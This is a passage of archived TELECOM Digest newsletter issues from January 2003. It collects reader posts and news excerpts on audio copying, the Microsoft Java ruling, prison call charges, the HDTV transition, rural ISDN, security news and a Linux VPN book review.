attempts to prevent digital copying. (IMHO > the jury is still out over whether an analog dub from a CD really is > inferior to a digital ""rip"" of the same track, after both have been > encoded in MP3 at the usual 128 kbps.) > [TELECOM Digest Editor's Note: Tell the Jury that the slightly > inferior signal is actually pretty good considering what you paid > for it. There really is no difference. An audiophile which very fancy > equipment could tell the difference; almost no one else. PAT] Possibly an ""audiophile"" under 35 who has treated his ears exceptionally well over that time, otherwise anyone with ""average"" hearing would find it hard to notice. I personally notice that Dolby ""B"" noise reduction doesn't seem to improve tape noise the way it used to 20 years ago ... :-( I would speculate that you could find a pattern of people noticing the difference in quality inversely in line with their ages, (apart from those young ones who have blasted their ears into senility with the various types of aural abuse available these days). Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: Linc Madison Subject: Re: MS Java Ruling Sets IT Precedent Date: Mon, 06 Jan 2003 01:51:14 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Monty Solomon wrote: > By Associated Press > > Over time, observers say, the biggest consequence could be the > precedent of a judge -- and not engineers, software companies or even > users -- deciding what is installed on personal computers. That's a decidedly Microsoft spin on the story. The judge said it very well [paraphrasing]: if Microsoft's products prevail in the marketplace, it should be because they are better, not because Microsoft uses its monopoly status to drive out competitors. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: ben77m2000@yahoo.com (Benm) Subject: Re: Very Newbie Reboot Question Date: 6 Jan 2003 07:24:39 -0800 Organization: http://groups.google.com/ reedl@tatteredcover.com (Reed Loefgren) wrote in message news:: > I have an SX-2000 Light system. I have never rebooted it except when > the power failed. I've looked in the docs I have and cannot find > mention of a command to reboot (or shutdown) except for: PROGrammed > Reboot SCHedule . I don't want to schedule a repetitive > reboot. PROGrammed Reboot SCHedule command is the one to use. When the reboot is finished, use this command to make sure it doesn't happen again: PROGrammed Reboot OFF Ben ------------------------------ Date: Mon, 6 Jan 2003 07:47:00 PST From: R Gilbert Subject: Re: Out the Door I too have been saying this for some time. The programmers and engineers of today have become as ubiquitous as the mechanics, electricians, and equipment operators of old. This gives unions a new ""market"" to delve into. However, I see the unions as having to make a change in the culture - theirs and engineers. In reading various ethics and professional responsibilities letters and documents regarding engineers, the issue of ""professionalism"" is the biggest block to unions. Engineers are professionals, they work in professional environments with other professionals, and thus do not need a union. This is not meant to be disparaging to anyone (i.e. I am not saying union members are not professionals). This is the culture that makes union introduction difficult. The best analogy I can think of is the military one of an officer and a gentleman. An officer is a gentleman by definition, and if you aren't an officer, you are not a gentleman. The truth of the belief is not the issue, rather the existence of the belief creates it's own truth. Today engineers are everywhere, as opposed to being scarce. When higher education was limited to fewer people, you had a small pool of engineers available. They would be scarce, and like any scarce commodity, they would be of great value. They would be their own class, and I believe that is the source of the ""professional"" belief that works against unionization. Bolstering the union case is the fact that everyone has engineers - heck, in you have them designing control systems for water usage is skyscrapers (how many engineers does it take to program a toilet?). I will be interesting to see if there are forays into the white collar world by unions in the future. R ------------------------------ From: Jim Thompson Subject: Re: Last Laugh! Urgent Counter-Proposal Date: Mon, 06 Jan 2003 01:09:18 GMT Organization: Cox Communications On Sun, 05 Jan 2003 00:51:27 -0600, Neal McLain , Article: , Entitled: ""Last Laugh! Urgent Counter-Proposal"", wrote the following: > The following message was originally posted on the SCTE list by Rex > Porter, a frequent contributor to that list and the Editor-in-Chief of > Communications Technology magazine. I am cross-posting it here with > Rex's permission. > -----Original Message----- > From: SCTE-List On Behalf Of Rex Porter > Sent: Friday, January 03, 2003 2:14 PM > To: SCTE-List@lists.scte.org > Subject: I'm Tired Of Receiving This Scam, So.... > URGENT COUNTER-BUSINESS PROPOSAL > FROM: MR. R. PORTER [snip] > AND YOUR FAMILY....MR. REX PORTER| > Cross-posted by Neal McLain > nmclain@annsgarden.com > [TELECOM Digest Editor's Note: A very good response for those letters. > I get three or four of them every day. PAT] ROTFLMAO! | James E.Thompson, P.E. | mens | | Analog Innovations, Inc. | et | | Analog/Mixed-Signal ASIC's and Discrete Systems | manus | | Phoenix, Arizona Voice:(480)460-2350 | | | Jim-T@analog_innovations.com Fax:(480)460-2142 | Brass Rat | | http://www.analog-innovations.com | 1962 | For proper E-mail replies SWAP ""-"" and ""_"" I love to cook with wine. Sometimes I even put it in the food. ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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Please make at least a single donation to cover the cost of processing your name to the mailing list. All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #220 ****************************** >From editor@telecom-digest.org Tue Jan 7 00:56:27 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h075uRe13884; Tue, 7 Jan 2003 00:56:27 -0500 (EST) Date: Tue, 7 Jan 2003 00:56:27 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301070556.h075uRe13884@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #221 TELECOM Digest Tue, 7 Jan 2003 00:56:00 EST Volume 22 : Issue 221 Inside This Issue: Editor: Patrick A. Townson Help Wanted: Steal This Database (Monty Solomon) Tiny Cell Phone or Big Brother? (Monty Solomon) Tech Gadgets Galore Hit Vegas (Monty Solomon) Experts See Vulnerability as Outsiders Code Software (Monty Solomon) Security Cameras are Getting Smart -- and Scary (Monty Solomon) MMS: Much More Spam (Monty Solomon) Schneier: Counterattack (Monty Solomon) Verizon Wireless to Expand Operations North of Pittsburgh (Monty Solomon) Re: Prison Call Overcharging (Justin Time) Re: Prison Call Overcharging (Dave Christensen) Extinction (Joey Lindstrom) Re: Rural WV and High Speed Internet (Paul Wallich) Re: Rural WV and High Speed Internet (Dave Christensen) That's Showbiz (Eric Friedebach) Bells Could Win Now, Lose Later (Eric Friedebach) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Reply-To: Monty Solomon From: Monty Solomon Subject: Help Wanted: Steal This Database Date: Mon, 6 Jan 2003 15:55:25 -0500 By Brian McWilliams 02:00 AM Jan. 06, 2003 PT Hack-proofing a website is hard enough. But the task becomes gargantuan when you accidentally publish the administrator's password on one of your site's most heavily trafficked pages. Such a security gaffe may have enabled unauthorized visitors to log in and access files undetected for more than six months on a server operated by Carmichael Lynch, a public relations and advertising firm with several big-name clients. The admin password was inadvertently published on a page that contained online job postings. Among the files potentially exposed to outsiders: internal documents, including customer databases owned by two of the company's biggest clients, Porsche and American Standard. Experts said the incident is the latest example of how shoddy security can undermine companies' privacy promises. http://www.wired.com/news/infostructure/0,1377,57066,00.html ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Tiny Cell Phone or Big Brother? Date: Mon, 6 Jan 2003 15:59:04 -0500 By Lauren Weinstein (a commentary) 02:00 AM Jan. 06, 2003 PT You've seen the slew of commercials for them. You may already have one in your pocket or hanging from your belt. New generations of cell phones appear before you've even figured out all the features of your current model. There's much more to consider regarding cellular technology beyond incomprehensible user manuals and the highly visible phone radiation and ""driving while yakking"" controversies. The latest of these tiny wireless phones (the term ""cellular"" is now out of favor, we're told) sport multimedia color displays, video camera options, precision location tracking and a host of other heavily promoted features set to hit the mainstream this year. Yet little thought has been given to how these advanced capabilities could affect society. http://www.wired.com/news/privacy/0,1848,57040,00.html [TELECOM Digest Editor's Note: Lauren Weinstein, the author of this article in wired.com has also written on several ocassions for TELECOM Digest. PAT] ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Tech Gadgets Galore Hit Vegas Date: Mon, 6 Jan 2003 16:03:30 -0500 By Associated Press 03:29 PM Jan. 05, 2003 PT NEW YORK - Panasonic, Palm, Philips and other makers of cell phones, handheld computers and electronic doodads would have you believe the good times are rolling now like never before. They may have a point. More than 2,000 such companies are trucking their newest wares to Las Vegas' International Consumer Electronics Show this week, promising to overwhelm the city's gargantuan convention hall. The show, which features keynotes by chiefs of Sony, Microsoft and Intel, has normally pessimistic analysts abuzz with a fervor that seems alien in times of war and uncertainty. http://www.wired.com/news/infostructure/0,1377,57077,00.html ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Experts See Vulnerability as Outsiders Code Software Date: Mon, 6 Jan 2003 16:07:21 -0500 By JOHN SCHWARTZ As American companies increasingly move their software development tasks out of their own offices to computer programming companies here and abroad, new concerns are being raised about the security risks involved. Some of these concerns over the practice, known as outsourcing, are being raised by people with an obvious self-interest - for example, programmers who have seen their livelihoods shift to less expensive operations overseas. And the companies providing outsourcing services argue that they take all necessary precautions to limit risk. But the question of whether the booming business in exporting high-tech jobs is heightening the risk of theft, sabotage or cyberterrorism from rogue programmers has been raised in discussions at the White House, before Congress and in boardrooms. http://www.nytimes.com/2003/01/06/technology/06OUTS.html ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Security Cameras are Getting Smart -- and Scary Date: Mon, 6 Jan 2003 16:11:15 -0500 By Dean Takahashi Mercury News From wealthy private homes to military installations, security cameras are going high tech. Prompted in part by new fears after the Sept. 11, 2001, terrorist attacks, camera makers, security specialists, hard-disk makers and chip designers are transforming the art of video surveillance, long known for its grainy, black-and-white images and reams of tape. With the new smart cameras, data is recorded in a digital format on hard disk drives so that reviewing hours of surveillance is much easier. Solar batteries let cameras run without the risk of failing because somebody cut the power. Data can be sent over the Internet -- often through wireless data networks -- directly to a company's hard drive archives. Processing chips inside the cameras make the images much easier to discern, and new software analyzes faces so that the cameras can send alerts to security guards when they spot known criminals or suspicious movements. http://www.siliconvalley.com/mld/siliconvalley/news/local/4883623.htm ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: MMS: Much More Spam Date: Mon, 6 Jan 2003 18:35:15 -0500 From circulars in the post to spam emails, unsolicited advertising has long been the bane of all media. And there's no reason, warns Sean Hargrave, to suppose that mobile phone photo-messaging will fare any better. http://media.guardian.co.uk/mediaguardian/story/0,7558,869126,00.html ------------------------------ Date: Mon, 6 Jan 2003 08:38:53 -0500 From: Monty Solomon Subject: Schneier: Counterattack Excerpt from: CRYPTO-GRAM, December 15, 2002 by Bruce Schneier Counterattack This must be an idea whose time has come, because I'm seeing it talked about everywhere. The entertainment industry floated a bill that would give it the ability to break into other people's computers if they are suspected of copyright violation. Several articles have been written on the notion of automated law enforcement, where both governments and private companies use computers to automatically find and target suspected criminals. And finally, Tim Mullen and other security researchers start talking about ""strike back,"" where the victim of a computer assault automatically attacks back at the perpetrator. The common theme here is vigilantism: citizens and companies taking the law into their own hands and going after their assailants. Viscerally, it's an appealing idea. But it's a horrible one, and one that society after society has eschewed. http://www.counterpane.com/crypto-gram-0212.html#1 ------------------------------ Date: Mon, 6 Jan 2003 11:04:52 -0500 From: Monty Solomon Subject: Verizon Wireless to Expand Operations North of Pittsburgh Company Completes Acquisition of ALLTEL Wireless Business Serving Sections of Lawrence, Butler and Clarion Counties BEDMINSTER, N.J., Jan. 6 /PRNewswire/ -- Verizon Wireless, the nation's largest wireless provider, today announced it has acquired ALLTEL's controlling general partnership interest in a wireless business north of Pittsburgh. The acquisition is a major expansion of the company's service footprint throughout portions of Lawrence, Butler and Clarion Counties, Pennsylvania, including the city of New Castle. Verizon Wireless operations now serve the entire western section of Pennsylvania, from Lake Erie in the north, down to the border of West Virginia in the south. Financial terms were not disclosed. The former ALLTEL operation covers a market with a total population (POPS) of some 136,000. Major highways in the footprint include Interstates 80 and 79 and Route 60. The business, operating today under the ALLTEL brand, will be converted to the Verizon Wireless brand in three to four months. The existing analog wireless network will be quickly integrated into the Verizon Wireless national network and upgraded to digital CDMA service. http://finance.lycos.com/home/news/story.asp?story=30758615 ------------------------------ From: a_user2000@yahoo.com (Justin Time) Subject: Re: Prison Call Overcharging Date: 6 Jan 2003 08:28:10 -0800 Organization: http://groups.google.com/ hancock4@bbs.cpcn.com (Jeff Nor Lisa) wrote in message news:: There are a great many more issues involved in this than what is being presented in this post. The point of this post indicates that ""collect calls from correctional facilities cost more than collect calls from regular payphones and that is wrong."" While this is true, there are other factors that are not addressed in this broadside that fail to mention some of the reasons behind the high charges. > Inmates in prison may make collect calls to their families. However, > the family is charged very steep fees for such calls -- much more than > today's routine collect call charges. For example, $3 for the first > minute, $1 each additional minute. The locations an inmate can call are limited. They cannot dial, as examples, the members of the jury that convicted them, the prosecutors (other than their office number - and not their direct number, but the main number which is screened), witnesses, police officers, judges or other court officers. They also cannot call members of witness families or other ""undesireables."" The list of numbers for each inmate is different and the cost of maintaining the database is paid from the revenue collected from those calls. > This appears to be a common practice across the U.S. This is probably one of the uncontestable statements in the broadside, but it is also incorrect. Most of the correctional facilities throughout the civilized world follow the same practices. So the high cost of calls is not just a ""U.S."" issue requiring redress, it is a world-wide issue. > People might argue ""too bad, they're in prison!"", but that misses > several important points: > It's not the inmate who's paying for the calls, but the family. > Further, such families are often poor. Many facilities allow the inmate to purchase phone time from commissary credits or from funds sent from home. These calls are still handled at the higher rates, but the family is not billed for these calls. Additionally, the family always has the opportunity to refuse the call. This may sound callous, but if you know the cost of the call is going to be billed to your phonebill and you don't have the funds to pay for the call when the bill comes in, you can refuse to accept the call. This is called ""fiscal responsibility."" This also tends to become much less of a problem after calls begin to be refused. The inmate then begins to limit calls to essential communications and not ""I was bored and thought I would call."" > There is no reason collect calls from a prison should cost any more > than collect calls from regular locations. (And remember, routine > collect calls today are very expensive). And the actual cost to the > prison for the cost is very little -- maybe 5c a minute, since states > have bulk contracts with toll carriers. The collect charges are pure > gravy for the state. Those high call charges are not ""pure gravy."" Most people don't realize that every call from an inmate telephone in a correctional institution is recorded. Additionally, there are those ""unallowed number"" lists that have to be maintained. Additionally, there are additional expenses because of the high cost of the inmate instrument, system administration, additional phone company charges because of special handling and limited hours of operation and many other factors. Inmate phones are not the same as the ubiquitous payphone you see on the street corner. They have special armored cases, cords and other parts. The access to dial tone can be turned on and off and many other controls that are not present on other phones and must be maintained by someone, who needs a paycheck. There are some institutions that do charge extra for long distance, and receive revenue from the long distance carrier for those charges, but then there are additional costs involved in handling all the restrictions on an inmate by inmate basis. > Another consideration is that family contact is important for an > inmate's rehabilitation. Many inmates are imprisoned far from the > homes, and too far for families to visit. A rehabiliated inmate won't > commit fresh crimes upon his release. A typical strawman argument. The incidence of recidivism (sp?) or ""an inmate that can contact their family is less likely to return to prison"" is some thing that cannot be either proved or disproved. The question to ask here is: ""What proof can you cite to prove your argument?"" > Likewise, family contact reduces stress. Stressed inmates get into > fights and start riots which are extremely costly. In other words, > frequent family contact is good for society. It sure sounds good, and there may be a kernel of truth to the statement, but again, where is your proof? Cite some statistics that are verifiable. Yes, riots are costly, but what percentage of rioters in prisons have no family contact? What percentage of those involved in fights and riots have regular phone privileges and use the phone frequently? I know from my work consulting to a department of corrections that phone privileges are usually one of the last privileges revoked from an inmate. They are often in trouble long before the privilege of using a telephone is revoked. And family contact is good for society? What about the inmate who calls a family member so they will go and attempt to intimidate a witness? Or the inmate who calls associates to keep their criminal empire functioning? These are not isolated incidents, there are well documented cases of inmates running gangs, ordering murders and mayhem and many other illegal activities. -- Remember, I mentioned the calls are recorded? The only calls that are not reviewed are those between the client and their legal representative. That doesn't mean the call isn't recorded, the recorder can't discriminate to that level, but the content of the call is not reviewed by court officials who screen the calls for illegal activities. The point I have been attempting to make is that there is a reason for some of the high charges paid for telephone calls from correctional institutions, and it is not to punish the families of the inmates but to protect the society they harmed in the first place. Rodgers Platt ------------------------------ Subject: Re: Prison Call Overcharging From: dave@newrivergroup.com (Dave Christensen) Date: Mon, 06 Jan 2003 21:14:17 -0600 I know I am late on this topic, but I dont know if you see the entire picture. Most detention facilities do not have the labor for a telephone monitor to escort inmates from their cells to another 'secure' area to make a telephone call. So to make these calls possible they install phones in community areas, holding areas, even sometimes individual cells. An often overlooked element though is that it costs money to install and maintain a telephone system where the physical CPE equipment is abused and needs to be well protected (over-engineered cords that dont come out and become used as weapons to strangle people?) from both the users and the correctional staff. Emotional Rant: I certainly dont want to see my taxes go up again to support the jails and prisons, so why not have it as a 'user fee' (Reagan was so fond of creating these mini taxes). Yes it is a little expensive, but nobody forces them to talk on the phone. They can always visit or write letters like they did many years ago. Just another side to the story... Dave (Disclaimer: I work p/t as a reserve deputy with a law enforcement organization) In message , hancock4@bbs.cpcn.com (Jeff Nor Lisa) wrote: > Inmates in prison may make collect calls to their families. > However, the family is charged very steep fees for such calls -- much > more than today's routine collect call charges. For example, $3 for > the first minute, $1 each additional minute. > > ------------------------------ From: Joey Lindstrom Date: Mon, 06 Jan 2003 09:55:07 -0700 Subject: Extinction Reply-To: joey@telussucks.info On Fri, 3 Jan 2003 22:52:54 EST, John Stahl wrote: > So with this agreement, the issue of the existing analog TV sets is > now set for extinction. Because when all that is available - over the > air AND now on cable - is HDTV digital signals, it will be mandatory > that we all will have to spend (collectively) $ millions (perhaps $ > billions) to purchase HDTV sets (and other appliances) in order to > watch (and record) any kind of US TV programming. Horse hockey. :-) We've discussed this one before, and the point most people seem to be missing is that you will be able to keep your old TV (assuming it still works - it seems 5-8 years is the average lifespan of today's crappy TV sets) and still use it, providing you purchase a set-top analog converter box. Those boxes are available NOW although they're expensive. Five years down the road they'll be ""cheap like borscht"". Oh, but whoa is me, some consumers say. Why should I have to pay ANYTHING? I already bought the TV, now you're telling me I've gotta spend more to keep using it? As Denis Leary once said: ""Life sucks. Get a ****ing helmet."" Or as Robert Heinlein once said (via a character in one of his stories), ""TANSTAAFL!"" - or, ""There Ain't No Such Thing As A Free Lunch"" It's hardly unfair, and the benefits to all of us far outweigh the inconvenience for those who don't want to stay with the times. I can just imagine the folks in Sweden, right around the time they switched from driving on the left side of the road to the right side, moaning and bitching about how they need protection for their investments in their cars - which are now more difficult to drive (y'ever try to execute a pass while driving a car that's on the ""wrong"" side of the road? You pretty much have to put the entire car into the oncoming lane before you can even see if anything's coming). The Swedes managed to do this, and cars are a much bigger investment than TV's and VCR's. So why are we crying so much about MAYBE not being able to use a television set that, by the time analog signals are phased out, will be worth maybe $40? Can we just RELAX on this issue already? :-) (NOTE: before you argue that the broadcasters and studios want to design this new digital equipment so that it CANNOT be used with analog equipment, that is an entirely different issue - and I agree that that would be ""A Bad Thing"" - but so far I don't see any evidence that this will in fact come to pass.) Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: Paul Wallich Subject: Re: Rural WV and High Speed iIternet Date: Mon, 06 Jan 2003 13:57:33 -0500 Organization: PANIX Public Access Internet and UNIX, NYC In article , kimbrennan@aol.comfrtz.com (KimBrennan) wrote: > I've a piece of property in Pendleton County WV. Dial-up Internet > services are available, but I've wanted to get something faster. Since > I don't live in the county seat (Franklin), I don't have access to > cable TV. ... > ISDN. Only available for ""business"", not ""residential"" as near as I > can tell from Verizon. Also they also will only hook up the ISDN line, > if you get your internet service from Verizon. Verizon's ISDN internet > is long distance from my place not to mention being considerably more > expensive than that alternatives. A resistance check in the past > shows that the line to my house is sufficient for ISDN. ... > So that leaves me with ISDN as my only choice in an affordable > sense. A couple of years ago, I called and ordered ISDN. Everything > was going smoothly up until the local junction box was examined. At > that point they realized they didn't have any free copper (for me > ... OR for several voice circuits that had been ordered) and my order > was cancelled. > I understand that the junction box may have been rewired in the last > year, so I may pursue this again. The only glitch is having to deal > with Verizon for the internet service. I'd rather just get the ISDN > line and then connect to the ISP of my choice (several of which are > actually local). Any ideas on how I should pursue this? It sounds like you will have to order internet service from Verizon (oh for the days when this owuld have been considered an obvious violation of antitrust restrictions on ""tying""), but nothing says you have to use that service rather than connecting to another ISP. Something in the contract may say that if you cancel the Verizon internet service they will also terminate your ISDN line, in which case you'll want to factor that extra monthly cost into your equations. Good luck. ------------------------------ Subject: Re: Rural WV and High Speed Internet From: dave@newrivergroup.com (Dave Christensen) Date: Mon, 06 Jan 2003 21:18:33 -0600 With ISDN being a switched line type, you can use any ISP that will support the ISDN connection type. Most ISP's using modern DSP based 'modems' can facilitate an ISDN link. In message , kimbrennan@aol.comfrtz.com (KimBrennan) wrote: > I've a piece of property in Pendleton County WV. Dial-up Internet > services are available, but I've wanted to get something faster. Since > I don't live in the county seat (Franklin), I don't have access to > cable TV. ------------------------------ Date: Mon, 6 Jan 2003 11:21:20 PST From: Eric Friedebach Reply-To: friedebach@yahoo.com Subject: That's Showbiz Peter Huber, 01.06.03, Forbes.com Most coding schemes get cracked sooner or later. When you're talking entertainment, they get cracked much sooner. Can phone and cable companies save the music industry? Their wires are being used to steal a lot of copyrighted content, and the problem gets worse every time a household with a teenager on the premises signs up for a high-speed internet connection. A hot new disc used to sell well for weeks, but now sales tail off quickly. When Napster went offline, universities saw traffic volumes drop by a third or more on the high-speed pipes that connect their campuses to the web. But neo-Napsters have sprung up all over. The music business is less profitable than it used to be; the gangsta rappers are themselves getting mugged. Encryption schemes can't solve the entertainment industry's problems. Most coding schemes get cracked sooner or later, and when you're talking entertainment, they get cracked much sooner. Music and movies have to be delivered to eyes and ears, after all, so a crude theft of the new Harry Potter movie can begin with a digital camera smuggled into a theater. A movie pirated that way looks awful, but it isn't hard to move the interception point a short distance back, into the wires of a digital projector or player. Nothing is going to stop the determined hacker from tapping the right wires to intercept the bits just before they come out onstage to perform. http://www.forbes.com/global/2003/0106/023.html Eric Friedebach ------------------------------ Date: Mon, 6 Jan 2003 12:37:52 PST From: Eric Friedebach Reply-To: friedebach@yahoo.com Subject: Bells Could Win Now, Lose Later Mark Lewis, 01.06.03, Forbes.com NEW YORK - Everybody knows that breaking up is hard to do, but the dismantling of Ma Bell must have set some sort of record. Two decades have passed since a federal judge ordered an end to the old AT&T monopoly, yet its four surviving Hydra heads -- better known as the Baby Bells -- continue to dominate local phone service. Congress took another shot at fostering local competition in 1996, but missed the mark. Now, it seems, the Federal Communications Commission (FCC) may hand the Bells a long-sought victory by scrapping a rule that requires them to lease their equipment and lines to local-service rivals at cheap wholesale rates. Published reports today indicate that the FCC staff is recommending that the rule be substantially modified. The final decision would be made next month by FCC Chairman Michael Powell and his fellow commissioners, who are expected to go along with the proposed change. http://www.forbes.com/2003/01/06/cx_ml_0106fcc.html Eric Friedebach ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Anne Shroeder - Internet Society Subject: Internet Society Announces $100,000 Grant from Qualys Date: Tue, 7 Jan 2003 12:21:53 -0500 Internet Society Announces $100,000 Grant from Qualys Qualys Joins Industry Leaders as Platinum Sponsor WASHINGTON, DC - January 7, 2003 - The Internet Society (ISOC) today announced the receipt of a generous donation of $100,000 from Qualys, Inc., the leader in automated vulnerability assessment. With this donation, Qualys becomes a Platinum sponsor of ISOC. The funds from the donation will be used to support and enhance the Society's educational activities, particularly those focused on securing the Internet's infrastructure to grow its commercial, social and educational value across the globe. ""Qualys' grant will allow us to broaden our education and training efforts, which are fundamental to our mission of expanding the use of the Internet globally,"" explained Lynn St. Amour, ISOC President and CEO. ""Over the past nine years, thousands of professionals have been trained through our Network Training Workshops for Countries in the Early Stages of Internetworking. Our graduates have performed a vital role in setting up the Internet connections and networks in virtually every country that has connected to the Internet."" The Internet Society is an open membership organization with over 10,000 individual and more than 150 organization members throughout the world that make up a veritable ""Who's Who"" of the Internet community. It provides leadership in addressing issues that confront the future of the Internet, and is the organization home for the groups responsible for Internet infrastructure standards, including the Internet Engineering Task Force (IETF) and the Internet Architecture Board (IAB). The Internet Society also organizes the well-respected INET conference and numerous other workshops and forums throughout the year. Qualys joins a number of industry-leading companies and innovators as a sponsor of ISOC, including Microsoft, IBM, Oracle, Hewlett-Packard, Nokia, Cisco and others. The company brings to the Society a dedicated focus on Internet security. Today, Qualys enables more than 750 customers to automatically audit their Internet-connected networks for security vulnerabilities. Qualys' fully automated infrastructure provides an ongoing picture of network exposures to help administrators detect, prioritize and resolve vulnerabilities before they are exploited by intruders. According to Qualys Chairman and CEO Philippe Courtot, who also serves on the ISOC Board of Trustees, ""The decision to fund ISOC's education and training programs complements our goal to secure the Internet, from the protocol level to the application. It has become so apparent in recent years that advanced security, such as new generation Internet Protocol version 6 (IPv6), Internet Security (IPsec) and more, will be critical to the growth and development of the Internet. We are pleased to participate in this effort with ISOC to help continue its current education programs."" IPv6 Forum President Latif Ladid, who is also an ISOC Trustee and Chairman of ISOC's Fundraising Task Force, explained that this grant will allow ISOC to meet key outreach objectives. ""The Internet Society is aggressively developing new education programs to specifically address IPv6 and IPsec for worldwide dissemination of vendor independent knowledge. Qualys has championed this large-scale initiative."" For additional information on ISOC's educational programs go to www.isoc.org/educpillar/. Contact: Julie Williams, ISOC tel: 703-464-7005, x 111 cell 703-402-6715 E-mail: JWilliams@isoc.org Megan Lamb, Qualys tel: 703-556-6300, x111 # # # About Qualys Qualys, Inc., the leader in automated vulnerability assessment enables security providers, security professionals, and corporate customers to automatically audit enterprise networks for security vulnerabilities. Qualys' Web-based service delivers automated, scalable, and cost-effective security auditing and risk assessment of global networks. Founded in 1999 by a team of Internet security experts, Qualys is headquartered in Redwood Shores, California, with offices in France, Germany and the U.K. More than 750 customers rely upon QualysGuard for their network security, including ABN-AMRO, Adobe Systems, Agilent Technologies, Apple Computer, AXA, Bank of the West, BlueCross BlueShield, Cartier, Cincinnati Children's Hospital, Credit Lyonnais, Hewlett Packard, L'Oreal, Siebel Systems, Thompson Financial, and TIAA-Cref. Qualys has more than 300 channel partners worldwide including BT Ignite, Cable & Wireless, Deloitte & Touche, Fujitsu, VeriSign and others. For more information about Qualys, please visit http://www.qualys.com. About ISOC The Internet Society is a not-for-profit membership organization founded in 1991 to provide leadership in the management of Internet related standards, educational, and policy development issues. It has offices in Washington, DC and Geneva, Switzerland. Through its current initiatives in support of education and training, Internet standards and protocol, and public policy, ISOC has played a critical role in ensuring that the Internet has developed in a stable and open manner. It is the organizational home of the Internet Engineering Task Force (IETF), the Internet Architecture Board (IAB), the Internet Engineering Steering Group (IESG) and other Internet-related bodies. For over 10 years ISOC has run international network training programs for developing countries which have played a vital role in setting up the Internet connections and networks in virtually every country that has connected to the Internet during this time, while at the same time working to protect the Internet's stability. ISOC is taking the next step in this evolution with the recent announcement of its intent to bid for the .ORG registry based on the belief that a thriving noncommercial presence is a key element in developing a strong social and technical infrastructure in all nations. For additional information see http://www.isoc.org. ------------------------------ From: Rob Slade Organization: Vancouver Institute for Research into User Date: Tue, 7 Jan 2003 08:22:50 -0800 Subject: Book Review: Building Linux Virtual Private Networks (VPNs) BKBLVPNS.RVW 20020916 ""Building Linux Virtual Private Networks (VPNs)"", Oleg Kolesnikov/Brian Hatch, 2002, 1-57870-266-6, U$44.99/C$69.99/UK#34.99 %A Oleg Kolesnikov oleg@buildinglinuxvpns.net ok@cc.gatech.edu %A Brian Hatch bri@buildinglinuxvpns.net brian@onsight.com %C 201 W. 103rd Street, Indianapolis, IN 46290 %D 2002 %G 1-57870-266-6 %I Macmillan Computer Publishing (MCP)/New Riders %O U$44.99/C$69.99/UK#34.99 800-858-7674 317-581-3743 info@mcp.com %O http://www.amazon.com/exec/obidos/ASIN/1578702666/robsladesinterne %P 385 p. %T ""Building Linux Virtual Private Networks (VPNs)"" Like ""Practical UNIX and Internet Security"" (cf. BKPRUISC.RVW) this book so thoroughly covers its general field, in this case virtual private networks (VPNs), that it is useful to security people regardless of whether or not they use Linux. There are abundant practical considerations in this work that other volumes ignore. Part one deals with the basics of VPNs. Chapter one is a good, readable, realistic introduction (and we will accept the mention of 40 bit DES in IPSec as a typo: it is listed as such in the errata at the associated website, http://www.buildinglinuxvpns.net). The title of chapter two, VPN fundamentals, is oddly both true and not: the items mentioned are not factors of VPNs as such, but aspects and considerations of VPNs that influence network choices, and network configurations that impel VPN architecture. Part two covers implementing standard VPN protocols. Chapter three provides a detailed and clear explanation of PPP (Point-to-Point Protocol) over SSH (Secure Shell). PPP over SSL (Secure Sockets Layer)/TLS (Transport Layer Security), in chapter three, outlines the basics, increased security, and scripts for troubleshooting. Excellent coverage of IPSec in general, plus some implementation details in Linux, is in chapter five. Chapter six explains FreeS/WAN from philosophy to source to configuration. There is good analysis of the design and weaknesses of PPTP (Point-to-Point Tunnelling Protocol) and how to run it on Linux, in chapter seven. Part three examines the implementation of nonstandard VPN protocols. Chapter eight looks at the design, options, and setup of VTun. The lightweight cIPe is covered in chapter nine. Designed for user level rather than kernel operation, as well as more modern and robust cryptography, tinc is explained in chapter ten. I have not found, to date, a book that does a better job of explaining the concepts and operations of virtual private networks. This should become the classic text. copyright Robert M. Slade, 2002 BKBLVPNS.RVW 20020916 rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Find book info victoria.tc.ca/techrev/ or sun.soci.niu.edu/~rslade/ 